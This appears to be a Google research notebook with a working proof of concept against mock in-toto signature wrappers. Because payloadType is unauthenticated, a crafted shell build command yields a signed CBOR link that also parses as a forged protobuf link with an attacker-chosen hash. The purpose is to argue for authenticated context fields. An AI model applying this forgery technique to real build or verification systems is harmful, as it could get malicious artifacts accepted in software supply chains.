!curl -o intoto.proto -sS https://raw.githubusercontent.com/grafeas/grafeas/63aff549c1813170558b49e40f41147fd31ad1e3/proto/v1beta1/intoto.proto
!protoc intoto.proto --python_out=.

!pip install cbor pycryptodome

"""
Explanation: Copyright 2020 Google LLC
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Abstract
This proof-of-concept attack shows the need for any signature scheme to have an authenticated "context" field indicating how to interpret the payload.
Author: Mark Lodato, Google, &#108;&#111;&#100;&#97;&#116;&#111;&#64;&#103;&#111;&#111;&#103;&#108;&#101;&#46;&#99;&#111;&#109;
Date: September 2020
(To edit, open this doc in Colab.)
Overview
In any cryptographic signature wrapper, the payload must be unambiguously interpreted, such that the signer and verifier are guaranteed to interpret the payload identically.
Currently, in-toto and TUF achieved this by requiring that the payload be JSON and that the JSON have a _type key that indicates how it is used. Thus, there is only one way for the verifier to interpret the bitstream that the signer signed.
However, there are ongoing discussions about (1) generalizing the signature wrapper so that it is no longer in-toto/TUF-specific, and (2) supporting in-toto payloads other than JSON. If either of these happen, then it will no longer be feasible to require the payload to be JSON. Instead, the signature wrapper must include some authenticated "context" indicator that describes how to interpret the payload.
If the signature scheme does not include an authenticated context indicator, then an attacker can take a legitimate signed message of type X and get the victim to verify and interpret it as type Y.
What follows is a worked example showing how it can happen in a realistic scenario.
Scenario
This proof-of-concept assumes the following.
(1) In-toto has been extended to support three different encodings of the link format: JSON, CBOR, and Protobuf. In this scenario, the cryptographic wrapper has three fields:

payload: The serialized JSON, CBOR, or Protobuf byte stream.
payloadType: How to interpret payload. One of "JSON", "CBOR", or "Protobuf".
signatures: Cryptographic signatures over payload but not payloadType. This is the problem.

Note: In this demo, the wrapper is always JSON, both payload and signatures.sig are encoded in base64, and the signature is over the raw bits prior to base64 encoding. However, this is immaterial to the attack.
(2) There exists a trusted CI/CD service that allows callers to perform arbitrary build requests and returns a signed in-toto link file. This mirrors how system such as GitHub Actions or Debian rebuilders work. In our scenario, the build interface takes three user-defined parameters:

command: The shell command to run.
encoding: The payloadType to return.

Problem: An attacker can trick the CI/CD system to sign arbitrary messages. 
Suppose the following is a legitimate link file:
json
{
  "command": "echo 'hello world'",
  "products": { "stdout": { "sha256": "a948904f2f0f479b8f8197694b30184b0d2ed1c1cd2a1ec0fb85d299a192a447" } },
  "materials": {},
  "_type": "link"
}
An attacker can instead get the CI/CD system to falsely sign:
json
{
  "command": "echo 'hello world'",
  "products": { "stdout": { "sha256": "badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadb" } },
  "materials": {},
  "_type": "link"
}
This can then be used by the attacker to get malicious file with sha256 hash "badbad..." to be accepted by an in-toto verifier.
Outline of attack

Construct a target payload T in protobuf format that we want the victim to consume.
Send a carefully crafted build request that results CI/CD returning a signed CBOR-type link file, such that the payload is interpreted as P when type is CBOR but T when type is protobuf.
Modify the payloadType field to say Protobuf instead of CBOR. This does not invalidate the signature because the payloadType is unauthenticated.
Send the modified link file to the victim. They will interpret the payload as T, even though the CI/CD system intended it to be interpreted as P.

Mock implementations
This demo uses the following mock implementations.
Dependencies
End of explanation
"""


from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

secret_key = ECC.generate(curve='P-256')
public_key = secret_key.public_key()

def _PubkeySign(message: bytes) -> bytes:
  """Returns the signature of `message`."""
  h = SHA256.new(message)
  return DSS.new(secret_key, 'fips-186-3').sign(h)

def _PubkeyVerify(message: bytes, signature: bytes) -> bool:
  """Returns true if `message` was signed by `signature`."""
  h = SHA256.new(message)
  try:
    DSS.new(public_key, 'fips-186-3').verify(h, signature)
    return True
  except ValueError:
    return False

"""
Explanation: Crypto implementation
End of explanation
"""


signature = _PubkeySign(b'good')
assert _PubkeyVerify(b'good', signature)
assert not _PubkeyVerify(b'bad', signature)


"""
Explanation: Tests to make sure it works correctly:
End of explanation
"""


import base64, cbor, hashlib, json, subprocess, tempfile

def Build(command, encoding):
  """Runs `command` and returns a link file of the given `encoding`.
  
  WARNING: This isn't actually safe to do in a real CI/CD system. We're doing it
  here because it's just a demo where we trust the command.
  """
  with tempfile.TemporaryDirectory() as directory:
    result = subprocess.run(command, shell=True, cwd=directory, check=True,
                            stdout=subprocess.PIPE)
  link = {
      "command": command,
      "materials": {},
      "products": {
          'stdout' : {
              'sha256' : hashlib.sha256(result.stdout).hexdigest()
          }
      },
      "byproducts": {},
      "_type": "link",
  }
  if encoding == 'CBOR':
    payload = cbor.dumps(link)
  else:
    raise NotImplementedError('Encoding "%s" not implemented in this demo' % encoding)
  signature = _PubkeySign(payload)
  wrapper = {
    "payload": base64.b64encode(payload).decode('utf-8'),
    "payloadType": encoding,
    "signatures": [{"sig": base64.b64encode(signature).decode('utf-8')}],
  }
  return json.dumps(wrapper)

"""
Explanation: CI/CD implementation
End of explanation
"""


link = Build('echo "hello world"', 'CBOR')
json.loads(link)

cbor.loads(base64.b64decode(json.loads(link)['payload']))

link = Build('echo "something else"', 'CBOR')
cbor.loads(base64.b64decode(json.loads(link)['payload']))

"""
Explanation: Examples showing the wrapper and payload:
End of explanation
"""


import base64, cbor, json, intoto_pb2, pprint

def VerifyAndPrint(link_serialized):
  """Verifies the signature and then prints the payload.

  NOTE: The schema differs slightly between JSON/CBOR and Proto formats.
  This function does not convert between them.
  """
  wrapper = json.loads(link_serialized)
  payload_bytes = base64.b64decode(wrapper['payload'])
  signature = base64.b64decode(wrapper['signatures'][0]['sig'])
  if not _PubkeyVerify(payload_bytes, signature):
    print("Bad signature")
  else:
    print("Good signature")
    link = DECODERS[wrapper['payloadType']](payload_bytes)
    pprint.pprint(link)

DECODERS = {
    'JSON': json.loads,
    'CBOR': cbor.loads,
    'Protobuf': intoto_pb2.Link.FromString,
}

VerifyAndPrint(Build('echo "hello world"', 'CBOR'))

VerifyAndPrint(Build('echo "goodbye world"', 'CBOR'))

orig = Build('echo "hello world"', 'CBOR')
link = json.loads(orig)
link['payload'] = 'x' + link['payload'][1:]
VerifyAndPrint(json.dumps(link))

"""
Explanation: Verifier implementation
Instead of writing an actual layout, we simply have the verifier print out the payload. It is sufficient to demonstrate the attack if one signed payload can be interpreted in two different ways.
End of explanation
"""


%%writefile payload.textproto
effective_command: 'echo "hello world"'
products {
  resource_uri: "stdout"
  hashes {
    sha256: "badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadb"
  }
}

import intoto_pb2
from google.protobuf import text_format
with open('payload.textproto') as f:
  target_payload = text_format.Parse(f.read(), intoto_pb2.Link()).SerializeToString()
target_payload

"""
Explanation: Step 1: Construct target payload
First, we construct our target payload in protobuf format. This is what we want the victim to accept.
End of explanation
"""


%%writefile proto_parser.py
#!/usr/bin/python3
"""Parses a raw proto wire-format file and shows how each byte is interpeted.

USAGE: ./proto_parser.py <file> [OPTIONS]

Limitations (a.k.a. TODOs):
- Does not parse nested message types.
"""

import io
import math
import shutil
import struct

from typing import IO, Optional


class ProtobufValue:

  def __init__(self, buf: bytes):
    self.buffer = buf

  def format_buffer(self) -> str:
    a = []
    for value in bytearray(self.buffer):
      if value < 0x20 or value == 0x7f:
        # Unicode control code pictures
        # http://www.unicode.org/charts/nameslist/n_2400.html
        char = chr(0x2400 + value)
      elif value == 0x20:
        char = '\u2423'  # open box for space
      elif value >= 0x80:
        char = '\u2426'  # reverse question mark
      else:
        char = chr(value)
      a.append(char)
    return ''.join(a)

  def type_name(self):
    return self.TYPE_NAME


class Varint(ProtobufValue):
  TYPE_NAME = 'varint'

  def __init__(self, buf: bytes, value: int):
    super().__init__(buf)
    self.value = value

  def format_value(self) -> str:
    # TODO: also print signed int, sint (zigzag), hex
    return '%d' % self.value

  @classmethod
  def read(cls, f: IO[bytes], allow_missing=False) -> 'Optional[Varint]':
    buf = bytearray()
    value = 0
    while True:
      if len(buf) > 10:
        raise ValueError('varint exceeded maximum size')
      byte = f.read(1)
      if not byte:
        if allow_missing and not buf:
          return None
        raise ValueError('end of input while reading varint')
      buf.extend(byte)
      b = buf[-1]
      value |= (b & 0x7f) << (7 * (len(buf) - 1))
      if not (b & 0x80):
        break
    return cls(bytes(buf), value)


class FixedBase(ProtobufValue):
  # Subclasses must define: TYPE_NAME, byte_size, struct_int_code

  def format_value(self) -> str:
    # TODO: also print signed int, hex, double
    return str(struct.unpack(self.struct_int_code, self.buffer)[0])

  @classmethod
  def read(cls, f: IO[bytes]) -> 'FixedBase':
    b = f.read(cls.size)
    if len(b) != cls.size:
      raise ValueError('end of input while reading %s' % cls.TYPE_NAME)
    return cls(b)


class Fixed64(FixedBase):
  TYPE_NAME = 'fixed64'
  size = 8
  struct_int_code = 'L'


class Fixed32(FixedBase):
  TYPE_NAME = 'fixed32'
  size = 4
  struct_int_code = 'I'


class LengthDelimited(ProtobufValue):
  TYPE_NAME = 'length-delim'

  def __init__(self, buf: bytes, value: bytes):
    super().__init__(buf)
    self.value = value

  def format_value(self) -> str:
    # TODO: truncate
    if len(self.value) < 23:
      s = self.value.decode('unicode-escape')
    else:
      s = '%s...%s' % (self.value[:20].decode('unicode-escape'),
                       self.value[-20:].decode('unicode-escape'))
    return 'length=%d value=%s' % (len(self.value), s)

  def type_name(self):
    return 'length={}'.format(len(self.value))

  @classmethod
  def read(cls, f: IO[bytes]) -> 'LengthDelimited':
    length = Varint.read(f)
    value = f.read(length.value)
    if len(value) != length.value:
      raise ValueError('expected %d bytes for length-delimited field; got %d' %
                       (length.value, len(value)))
    return cls(length.buffer + value, value)


class StartGroup(ProtobufValue):
  TYPE_NAME = 'start-group'

  def format_value(self) -> str:
    return ''

  @classmethod
  def read(cls, f: IO[bytes]) -> 'StartGroup':
    return cls(b'')


class EndGroup(StartGroup):
  TYPE_NAME = 'end-group'


class Field:

  def __init__(self, tag: Varint, start_pos: int, field_number: int,
               field_value: ProtobufValue):
    self.tag = tag
    self.start_pos = start_pos
    self.field_number = field_number
    self.field_value = field_value

  def type_name(self) -> str:
    return self.field_value.type_name()

  def format_buffer(self) -> str:
    return '{} {}'.format(self.tag.format_buffer(),
                          self.field_value.format_buffer())


class BadField:

  def __init__(self, tag: Varint, start_pos: int, field_number: int,
               error: str):
    self.tag = tag
    self.start_pos = start_pos
    self.field_number = field_number
    self.error = error

  def type_name(self) -> str:
    return 'error'

  def format_buffer(self) -> str:
    return '{} <{}>'.format(self.tag.format_buffer(), self.error)


TYPE_MAP = {
    0: Varint,
    1: Fixed64,
    2: LengthDelimited,
    3: StartGroup,
    4: EndGroup,
    5: Fixed32,
}


def decode(f: IO[bytes]):
  while True:
    start_pos = f.tell()
    try:
      tag = Varint.read(f, allow_missing=True)
    except ValueError as e:
      # TODO: would be nice to keep buffer of error
      tag = Varint(b'', 0)  # dummy value
      yield BadField(tag, start_pos, -1, str(e))
      return
    if tag is None:
      return
    field_number, field_type = tag.value >> 3, tag.value & 7
    try:
      type_class = TYPE_MAP[field_type]
    except KeyError:
      yield BadField(tag, start_pos, field_number,
                     'invalid field type: %s' % field_type)
      return
    try:
      field_value = type_class.read(f)
    except ValueError as e:
      yield BadField(tag, start_pos, field_number, str(e))
      return
    yield Field(tag, start_pos, field_number, field_value)


def decode_and_print(data: bytes,
                     *,
                     width=None,
                     limit=None,
                     header=True) -> None:
  if width is None:
    width = 80
  if header:
    print('{:4} {:4} {:12} {}'.format('Pos.', 'Fld#', 'Type', 'Value'))
  for i, t in enumerate(decode(io.BytesIO(data))):
    line = '{pos:04X} {field_num:4d} {field_type:12} {buffer}'.format(
        pos=t.start_pos,
        field_num=t.field_number,
        field_type=t.type_name(),
        buffer=t.format_buffer(),
    )
    if width > 0 and len(line) > width:
      line = line[:width - 1] + '\u2026'  # ellipsis
    print(line)
    if limit and i + 1 >= limit:
      break


def main():
  import argparse
  description = globals()['__doc__'].split('\n\n', 1)[0]
  p = argparse.ArgumentParser(description=description)
  p.add_argument('file', help='file containing raw wire-format proto')
  p.add_argument(
      '--width',
      '-w',
      type=int,
      default=shutil.get_terminal_size((80, 20)).columns,
      help='width of output in columns; <= 0 means unlimited')
  p.add_argument(
      '--limit',
      '-l',
      type=int,
      help='limit the output to at most this many lines')
  args = p.parse_args()

  with open(args.file, 'rb') as f:
    data = f.read()

  decode_and_print(data, width=args.width, limit=args.limit)


if __name__ == '__main__':
  main()

"""
Explanation: Step 2: Construct build request
Next, we need to craft a build command that results in the overall CBOR file being interpreted by the victim as our payload protobuf.
Proto Parser tool
The following tool will be useful for visualizing protobufs.
End of explanation
"""


import json, base64, binascii
build_command = 'echo ' + 'x' * len(target_payload)
link = Build(build_command, 'CBOR')
payload = base64.b64decode(json.loads(link)['payload'])
print(binascii.hexlify(payload).decode('utf-8'))

"""
Explanation: Constructing the command
First let's inspect the CBOR payload with a dummy request. We'll pad it out to roughly the same length as our target payload because we know the length will affect the CBOR encoding.
End of explanation
"""


import proto_parser
proto_parser.decode_and_print(payload[:19])

"""
Explanation: We can visualize this using http://cbor.me:
A5                                      # map(5)
   67                                   # text(7)
      636F6D6D616E64                    # "command"
   78 67                                # text(103)
      6563686F20787878...               # "echo xxx..."
...
The field that we have control over, command, starts at byte offset 11. Let's see how these first several bytes get interpreted as protobuf using our tool above:
End of explanation
"""


assert b"'" not in target_payload
build_command = b":  '" + target_payload + b"'"
link = Build(build_command, 'CBOR')
payload = base64.b64decode(json.loads(link)['payload'])
proto_parser.decode_and_print(payload)

"""
Explanation: That means that the victim will interpret our message as having at least two fields, number 1652 and number 12. The real intoto.proto has no such fields, which causes the proto library to simply ignore those fields. Lucky for us!
Furthermore, we get control over the parsed stream starting at the fifth byte of our command. See the first four bytes (echo) are part of field 12 (fixed64) and then the fifth byte (space) is interpreted as a varint-type field number 4?
That means we want construct a valid shell command that does nothing but contains our protobuf wire-format payload starting at the fifth byte. We also need to shell-escape our payload so that the command does not fail.
Here is such a command:
:  '&lt;payload&gt;'
Let's try it:
End of explanation
"""


build_command = b":  '" + target_payload + b"z~'"
link = Build(build_command, 'CBOR')
payload = base64.b64decode(json.loads(link)['payload'])
proto_parser.decode_and_print(payload)

"""
Explanation: Almost there! It correctly interprets fields 1 (effective_command) and 3 (products), but then it chokes on the ' character ending our shell command.
To fix this, we need to append a tag to our payload to tell the protobuf parser to consume the rest of the input as some dummy field, such as field number 15. The characters z} will do precisely that: z is field number 15 of type length-delimited, and ~ is length 126, which is the number of remaining bytes.
Let's try it out:
End of explanation
"""


intoto_pb2.Link.FromString(payload)

"""
Explanation: Yay! We should be good to go. Let's verify by usiing the real proto parser.
End of explanation
"""


build_command = b":  '" + target_payload + b"z~'"
link_original = Build(build_command, 'CBOR')
json.loads(link_original)  # Print it out for display purposes

VerifyAndPrint(link_original)

"""
Explanation: We're good to go!
Steps 3 and 4: Pull off the attack
Now that we have constructed our malicious build command, we need to send it to the server and get the victim to consume it.
First, send the malicious build request to the server and get back a signed CBOR message.
End of explanation
"""


link = json.loads(link_original)
link['payloadType'] = 'Protobuf'
link_modified = json.dumps(link)
json.loads(link_modified)  # Print it out for display purposes

"""
Explanation: Next, change the payloadType to Protobuf.
End of explanation
"""


VerifyAndPrint(link_modified)

"""
Explanation: Finally, send it to the victim and profit!
End of explanation
"""


